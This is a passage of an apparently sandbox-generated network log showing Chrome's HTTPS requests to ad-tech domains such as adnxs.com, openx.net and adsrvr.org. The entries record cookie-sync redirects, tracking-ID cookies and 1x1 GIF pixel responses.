2024-04-27 22:42:22 UTC	149	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 33 37 30 32 26 61 6d 70 3b 78 75 69 64 3d 66 31 30 65 30 38 33 66 2d 35 34 63 63 2d 34 63 65 35 2d 61 61 30 37 2d 38 32 31 30 33 35 32 65 35 38 36 61 26 61 6d 70 3b 64 6f 6e 67 6c 65 3d 64 35 34 66 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://eb2.3lift.com/xuid?mid=3702&xuid=f10e083f-54cc-4ce5-aa07-8210352e586a&dongle=d54f&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.4	50412	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	1181	OUT	GET /getuid?https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D3335%26xuid%3D%24UID%26dongle%3D4d58%26gdpr=0%26gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
2024-04-27 22:42:22 UTC	1458	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://eb2.3lift.com/xuid?mid=3335&xuid=1476058396850158061&dongle=4d58&gdpr=0&gdpr_consent= AN-X-Request-Uuid: e5573768-51ad-46d7-8d7a-5475a052038e Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.4	50413	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	1156	OUT	GET /prebid/setuid?bidder=triplelift_native&gdpr=0&gdpr_consent=&uid=4394171109507437451801 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
2024-04-27 22:42:22 UTC	1995	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: f28fb48c-6543-4c44-97b0-bb43ad7cf1b2 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40fQBY/ghqdmU(5>$s-@N.!]tbd8i_iqf!oN/@E'zz<Z0QX==UQY(rU)FDKuB8DcBa)b[$gbSLJ>x3hkYTD._Pl[h>oaUgZoTtsCtGRU>4cvysk2:ZmubSk?6MeqS^-FI0#cZ(FoyfsFT>ikG4*ulGn6bxFST=xI#<ZFPsXH%!(V'q'OLN2; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9LCJ0cmlwbGVsaWZ0X25hdGl2ZSI6eyJ1aWQiOiI0Mzk0MTcxMTA5NTA3NDM3NDUxODAxIiwiZXhwaXJlcyI6IjIwMjQtMDctMjZUMjI6NDI6MjJaIn19LCJiaXJ0aGRheSI6IjIwMjQtMDQtMjdUMjI6NDI6MTZaIn0=; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-04-27 22:42:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.4	50414	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	1149	OUT	GET /prebid/setuid?bidder=triplelift&gdpr=0&gdpr_consent=&uid=4394171109507437451801 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
2024-04-27 22:42:22 UTC	1987	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: fa1d3d62-0b72-4b46-9494-61142ecdf588 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40fQBY/ghqdmU(5>$s-@N.!]tbd8i_iqf!oN/@E'zz<Z0QX==UQY(rU)FDKuB8DcBa)b[$gbSLJ>x3hkYTD._Pl[h>oaUgZoTtsCtGRU>4cvysk2:ZmubSk?6Meq?)n%V0#cZ(FoyfsFT>ikG4*ulGn6bxFST=xI#<ZFPsXH%!(khg-@9)B; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9LCJ0cmlwbGVsaWZ0Ijp7InVpZCI6IjQzOTQxNzExMDk1MDc0Mzc0NTE4MDEiLCJleHBpcmVzIjoiMjAyNC0wNy0yNlQyMjo0MjoyMloifX0sImJpcnRoZGF5IjoiMjAyNC0wNC0yN1QyMjo0MjoxNloifQ==; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:22 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-04-27 22:42:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.4	50421	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	818	OUT	GET /w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:22 UTC	568	IN	HTTP/1.1 200 OK Vary: Accept Set-Cookie: univ_id=537072971\|43e7dc8e-5458-4375-be4a-644737ed4dbd\|1714257742735200; Version=1; Expires=Sun, 12-May-2024 22:42:22 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.4	50422	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	744	OUT	GET /w/1.0/sd?id=537148856&val=Zi1-PgAAvwsNrQAF HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:22 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.4	50420	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	831	OUT	GET /w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=c4aa4365-cd5c-347e-41e3-d95d60b970f6&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:22 UTC	568	IN	HTTP/1.1 200 OK Vary: Accept Set-Cookie: univ_id=537072971\|43e7dc8e-5458-4375-be4a-644737ed4dbd\|1714257742720286; Version=1; Expires=Sun, 12-May-2024 22:42:22 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.4	50417	50.31.142.223	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	669	OUT	GET /usersync/triplelift/?gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=pzXJ98G8FgkOH15Vlr4a
2024-04-27 22:42:22 UTC	602	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 115 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://eb2.3lift.com/xuid?mid=2460&dongle=dba8&xuid=pzXJ98G8FgkOH15Vlr4a&gdpr=0 P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=pzXJ98G8FgkOH15Vlr4a; Path=/; Domain=zemanta.com; Expires=Sun, 27 Apr 2025 22:42:22 GMT; Max-Age=31536000; Secure; SameSite=None Date: Sat, 27 Apr 2024 22:42:22 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-04-27 22:42:22 UTC	115	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 32 34 36 30 26 61 6d 70 3b 64 6f 6e 67 6c 65 3d 64 62 61 38 26 61 6d 70 3b 78 75 69 64 3d 70 7a 58 4a 39 38 47 38 46 67 6b 4f 48 31 35 56 6c 72 34 61 26 61 6d 70 3b 67 64 70 72 3d 30 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://eb2.3lift.com/xuid?mid=2460&dongle=dba8&xuid=pzXJ98G8FgkOH15Vlr4a&gdpr=0">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.4	50425	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	769	OUT	GET /w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&google_cver=1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:22 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.4	50427	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:22 UTC	779	OUT	GET /track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYASABKAIyCwjagK_4wMXzPBAFOAFaBmd1bWd1bWAC
2024-04-27 22:42:22 UTC	547	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:22 GMT Content-Length: 199 Connection: close server: Kestrel location: https://cs.media.net/cksync?cs=1&type=ttd&ovsid=43e7dc8e-5458-4375-be4a-644737ed4dbd set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:22 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYASABKAIyCwiUi-yPwcXzPBAFOAFaBzhtMzN6azRgAg..; expires=Sun, 27 Apr 2025 22:42:22 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:22 UTC	199	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 22 3e 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://cs.media.net/cksync?cs=1&type=ttd&ovsid=43e7dc8e-5458-4375-be4a-644737ed4dbd">https://cs.media.net/cksync?cs=1&type=ttd&ovsid=43e7dc8e-5458-4375-be4a-644737ed4dbd</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.4	50426	50.31.142.223	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
